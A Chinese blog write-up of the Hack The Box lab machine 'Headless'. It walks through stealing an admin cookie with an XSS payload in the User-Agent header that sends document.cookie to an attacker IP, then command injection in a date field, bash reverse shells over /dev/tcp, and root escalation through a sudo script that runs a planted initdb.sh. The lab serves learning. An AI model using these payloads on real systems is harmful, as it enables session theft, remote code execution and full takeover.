HTB-Headless WP

Headless

首先nmap扫端口

image-20240419152025544

开放22和5000端口

其中5000端口为一个upnp服务

浏览器可以直接进行访问

image-20240419152637399

扫一下目录

image-20240419152840950

直接访问dashboard提示未授权

image-20240419152938859

只能从另一个路由support 下手

页面如图

image-20240419153016735

随便注点东西看看响应

image-20240419153121894

发现存在waf,直接给出请求信息

image-20240419153139465

这段话直接给出提示你的 IP 地址已经被标记,你的浏览器信息已经被发送 给管理员进行调查

观察到存在cookie,联想到dashboard无法直接访问,推测cookie是重点,直接base64解一下有点有点信息

根据这里的提示,我们的信息发送给管理员后,若能够成功触发xss就能够获取到管理员的cookie,从而利用管理员的Cookie成功进入到/dashboard

这里经过先前测试,无法在内容框中进行xss,但是根据所提供的页面信息,他会对所发送的请求的头也进行回显,因此这里尝试在请求头中注入xss,抓包将User-Agent修改为如下payload(ip为vpn所提供的内网环境)

<img src=x onerror=fetch('http://10.10.16.13/?c='+document.cookie);>

具体请求包如下

image-20240420104127016

本地起一个http.server接收(环境问题,接收到的时间比较久)

image-20240420103906524

成功拿到admin的cookie

is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

抓包修改cookid为获取到的admin的cookie,成功进入dashboard

image-20240420104651522

进入页面后,存在一个日期选择的按钮,可以选择日期进行查询网站健康报告,直接进行日期查询返回Systems are up and running!(系统已启动并运行!)

看到select以为是一个sql注入,没注成功,后面尝试其他方法,结果直接一个命令拼接

成功RCE,下一步直接弹shell

bash+-c+"bash+-i+>%26+/dev/tcp/10.10.16.18/6666+0>%261"

image-20240420115954759

拿到shell了看看源码

from flask import Flask, render_template, request, make_response, abort, send_file
from itsdangerous import URLSafeSerializer
import os
import random

app = Flask(__name__, template_folder=".")

app.secret_key = b'PcBE2u6tBomJmDMwUbRzO18I07A'
serializer = URLSafeSerializer(app.secret_key)

hacking_reports_dir = '/home/dvir/app/hacking_reports'
os.makedirs(hacking_reports_dir, exist_ok=True)

@app.route('/')
def index():
    client_ip = request.remote_addr
    is_admin = True if client_ip in ['127.0.0.1', '::1'] else False
    token = "admin" if is_admin else "user"
    serialized_value = serializer.dumps(token)

    response = make_response(render_template('index.html', is_admin=token))
    response.set_cookie('is_admin', serialized_value, httponly=False)

    return response

@app.route('/dashboard', methods=['GET', 'POST'])
def admin():
    if serializer.loads(request.cookies.get('is_admin')) == "user":
        return abort(401)

    script_output = ""

    if request.method == 'POST':
        date = request.form.get('date')
        if date:
            script_output = os.popen(f'bash report.sh {date}').read()

    return render_template('dashboard.html', script_output=script_output)

@app.route('/support', methods=['GET', 'POST'])
def support():
    if request.method == 'POST':
        message = request.form.get('message')
        if ("<" in message and ">" in message) or ("{{" in message and "}}" in message):
            request_info = {
                "Method": request.method,
                "URL": request.url,
                "Headers": format_request_info(dict(request.headers)),
            }

            formatted_request_info = format_request_info(request_info)
            html = render_template('hackattempt.html', request_info=formatted_request_info)

            filename = f'{random.randint(1, 99999999999999999999999)}.html'
            with open(os.path.join(hacking_reports_dir, filename), 'w', encoding='utf-8') as html_file:
                html_file.write(html)

            return html

    return render_template('support.html')

@app.route('/hacking_reports/<int:report_number>')
def hacking_reports(report_number):
    report_file = os.path.join(hacking_reports_dir, f'{report_number}.html')

    if os.path.exists(report_file):
        return send_file(report_file)
    else:
        return "Report not found", 404

def format_request_info(info):
    formatted_info = ''
    for key, value in info.items():
        formatted_info += f"<strong>{key}:</strong> {value}<br>"
    return formatted_info

def format_form_data(form_data):
    formatted_data = {}
    for key, value in form_data.items():
        formatted_data[key] = value
    return formatted_data

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000)

造成命令注入的代码为:

@app.route('/dashboard', methods=['GET', 'POST'])
def admin():
    if serializer.loads(request.cookies.get('is_admin')) == "user":
        return abort(401)

    script_output = ""

    if request.method == 'POST':
        date = request.form.get('date')
        if date:
            script_output = os.popen(f'bash report.sh {date}').read()

    return render_template('dashboard.html', script_output=script_output)

这里将用户输入的date直接进行拼接到命令中,所有当我们输入;ls时,实际上执行的命令为bash report.sh;ls,含义为bash指令首先执行report.sh ,然后执行输入的指令ls

拿到shell了之后用户为dvir

/home/dvir下拿到第一个普通用户flag

image-20240420121444838

下一步目标:提权到root

还是用linpeas.sh做一个信息搜集

发现,当前用户可以以管理员权限执行的指令有一个/usr/bin/syscheck

image-20240420135711815

cat看一下功能

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

这个脚本若以可以以管理员身份启动sudo /usr/bin/syscheck,关键在于,若进程中没有initdb.sh,则会继续以管理员身份运行当前目录下的initdb.sh文件

这里直接向当前目录下创建一个initdb.sh文件,里面再写一个反弹shell的指令:

bash -c "bash -i >& /dev/tcp/10.10.16.18/1111 0>&1"

当执行sudo /usr/bin/syscheck时,运行initdb.sh就能达到反弹shell

image-20240420144804847

成功拿到root权限的shell

image-20240420144915369

到root目录下直接cat就结束

image-20240420145337904

P.S:

网上目前出来的一些wp在最后提权的利用方法为:向initdb.sh文件中写chmod u+s /bin/bash使得任意用户可以以root身份执行/bin/bash,调用完成后以/bin/bash -p不以当前用户初始化文件,纯净启动,即可拿到root的shell,学习

image-20240420145317242

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇